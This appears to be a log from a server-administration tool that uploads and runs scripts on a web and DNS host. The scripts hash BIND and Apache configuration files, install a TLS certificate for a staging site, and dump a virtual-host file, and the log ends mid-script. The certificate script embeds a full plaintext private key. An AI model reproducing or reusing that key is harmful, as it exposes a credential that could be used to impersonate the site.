MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 8b7f17eabcd7c967c5aef4ea27a85943
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 24354e5a9e87bc06d7655e410b84a785
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 20ebcb6394b5828a3297798e46e87e57
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= 87140a5512892b83a3199aea7cde1917
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
STDERR:
/tmp/pkp957066:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-10-03 15:01:06: Establishing a connection
2025-10-03 15:01:06:
PUT: /tmp/pkp236570
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-03 15:01:07:
runuser -l bind -s /bin/bash -c '/tmp/pkp236570; rm /tmp/pkp236570'
2025-10-03 15:01:07:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-03 15:01:11: Establishing a connection
2025-10-03 15:01:12:
PUT: /tmp/pkp271894
#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt
cat > $temp_file <<'endmsg'
71:98:6a:49:33:a5:df:06:d6:ba:64:d4:1a:00:e6:e1
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgIUMm1oEeRN5d3o1/MlMKw1t4ShrcIwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTAwMzE1MDExMVoXDTI2MTAwMzE1MDExMVow
JjEkMCIGA1UEAwwbc3RhZ2UudGhleW91bmdkZXNpZ25lcnMuY29tMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA24fepavXu60e37j/ronIcnw9mZbKxVy5
Xu6AhorV7VHZKa/MQ64RbWErX8CLyP0r/62JzzBhgXVklJmr0KS0K30iNcv+E0y+
Zh6w6K59KIejWv46AZekDMsWNFzXLvEnLEhDuQDWjn/4DTN8qf5aQZIIL4OG/lqx
F0zAD0zF8IcNm6oo88zjIXIi2EvoT25PR6vjX6rPdaDIbnquiLbujdsolEeGYvEQ
u5hsatetsSzVl2RJmfHytysL50ooNuy10Cf8SN4l3rVV9gu8iwyw27lrbXmgzrXd
Gu3G11QBoAPahva0a/ZQ96X+Oz/mx1ZSdcu5NNMD8lywB7z1Tmc6CwIDAQABo4GD
MIGAMB0GA1UdDgQWBBTg8y+JP94dULYQ505IpdHvhU1qnTAfBgNVHSMEGDAWgBSF
m24M/c0kteH10KQDOIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAmBgNV
HREEHzAdghtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wDQYJKoZIhvcNAQEL
BQADggEBAMUIp13aJVNIlxEULOaaaXMJcWrH/MRufw/A3dBXydZJVKB7kEXdNL2H
8yWH4887UEjnfQlIvwJCf1qq8rlp2reQrrYp77O5iXcuesBRhCec9RaOGS4y8ZUj
2lNh2hWTssbSglhOHBTAhe7vJtAEbTHgDEUyQ6bdmlp8mZzrb6akXhGq9GUF0XDS
UqcFIzMpcoA5Bxrt0LX4NaWgJxbRiE7sW4Ez5uT5sryr5Gye9bB687Zjgv23vtvo
Om3k4HWmQpY2Ua6G/9qrdB4dzG2HW7qNT5bVn43buOA3Oq/xg7Du9i8/qJaTfosK
r5GHQ4irNNwQHC+6W9e6MDWQKP40+4U=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDbh96lq9e7rR7f
uP+uichyfD2ZlsrFXLle7oCGitXtUdkpr8xDrhFtYStfwIvI/Sv/rYnPMGGBdWSU
mavQpLQrfSI1y/4TTL5mHrDorn0oh6Na/joBl6QMyxY0XNcu8ScsSEO5ANaOf/gN
M3yp/lpBkggvg4b+WrEXTMAPTMXwhw2bqijzzOMhciLYS+hPbk9Hq+Nfqs91oMhu
eq6Itu6N2yiUR4Zi8RC7mGxq162xLNWXZEmZ8fK3KwvnSig27LXQJ/xI3iXetVX2
C7yLDLDbuWtteaDOtd0a7cbXVAGgA9qG9rRr9lD3pf47P+bHVlJ1y7k00wPyXLAH
vPVOZzoLAgMBAAECggEAF/voH0F++EoZrWeQx4jWFWvtbvJChP10YyK7d/eDF8Jx
b1R9hIdn8ANFsdhfbT37qJtVCwXGIVap/nIri0fzRy0Mp8P5pjIkOxPvT/yAQAVR
m4da3wGqMpudeWsLN12xYe0jOPsWdcsVVpvhatEXG0LREh/Uh8Vww5LnCMTiezyS
OhsYoBV40lWPrRbSoIQzHNkm6n06VbyMjpu3qyZ4qPQG7ftdGTtCnKemN2TcYIEs
op1GBv0/HScXg/2CXW/0HlS036MLTdMKk8LLOnxfMTNLwt8Pj4rAFUDkyUOZnV8A
qnbyTaNtEdntk1k2NNV1P8iksXEn1VXcDaXt7ZPPwQKBgQDwIRUIQJYn3aSNstFo
7sAVRGwxcQnjNmX7ac38vIPqPJ6Zj+VZJ2QQxCWeUYOmffQW4S83yYX8SdyTTgc1
I4IHnidoAtxWBou9Ew3xBF8f0aye4ie7TrghFp7wgBsC6Io1RHTSOW2Jw2rc2gtd
8gmi7zK+Z70pX2Ec6c8I2biMTQKBgQDqCkReXp2r03MfxyQgJvGZy+RQ1irnkIDM
DBoFXCQBw3t9f0vBhQxu81z2v/nK8PMOF/ZnwgDEkkTddVPiYWvE2nJOU3QewjJz
LE9ZyDGnb8n5zZQrV5PqWqe4hB24CB1TsBJyMcHjVSkheiIsOmylnPvJh16/Kzwr
KUzCSJIrtwKBgAlpspJdPcWYSaAIV28elMcApKEXhkSy2DKPxjRXC3C+KZVpb5sc
ES8bEUJwfZGkNFJFR32PV8I4/v2DPIMXvjwgNfk8y3hPz2B9A7nj6vqrVHHx+Y69
Gjip01coHmbxyKEn6tBm0eVplKHNpk5rc3dAmyOdm2uownzIqYX2SuatAoGAV4np
kqavMPLRL8SrxX7rhUwXJQlGWQDau/eW0ARrz2EP0pwHeOXMBb/vOLgLtZW0Q8RA
vQR6hwvyyCa3bohj5+iRMqzSVSLr/dpH/9v6fpc4o7/6OM/0Goc4DrMT7p7SYVgN
PjtQOzjCPqxRFdvwgW2bXADPNo/0XGyBMnY0fjcCgYA4yBTzZuFKW0ocWyQjGIxO
XT8MIYfbuPueFJeGWMmfKSy27xJ1VEB4IJ+6z7dvd2/hJVb6u7UZqv8qJBkDU1OI
fsIyeWIxoOaqFDaMBi4W/iAzQBjVkaFz79FdqfqTihvToyexWs4XmNiNfNM8NHvt
8wpEevPn3kuF8YSO9q8Xug==
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-03 15:01:13:
chmod 755 /tmp/pkp271894; /tmp/pkp271894; rm /tmp/pkp271894
2025-10-03 15:01:13:
dir=/etc/ssl/certs
2025-10-03 15:01:13:
PUT: /tmp/pkp215314
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-03 15:01:14:
chmod 755 /tmp/pkp215314; /tmp/pkp215314; rm /tmp/pkp215314
2025-10-03 15:01:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-10-03 15:01:14:
PUT: /tmp/pkp983247
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=/mnt/internal/www/theyoungdesigners_stage/public
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName stage.theyoungdesigners.com
ServerAdmin do_not_email@example.com
DocumentRoot /mnt/internal/www/theyoungdesigners_stage/public
<Directory /mnt/internal/www/theyoungdesigners_stage>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/theyoungdesigners/www_access.log combined
ErrorLog /var/log/apache2/theyoungdesigners/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
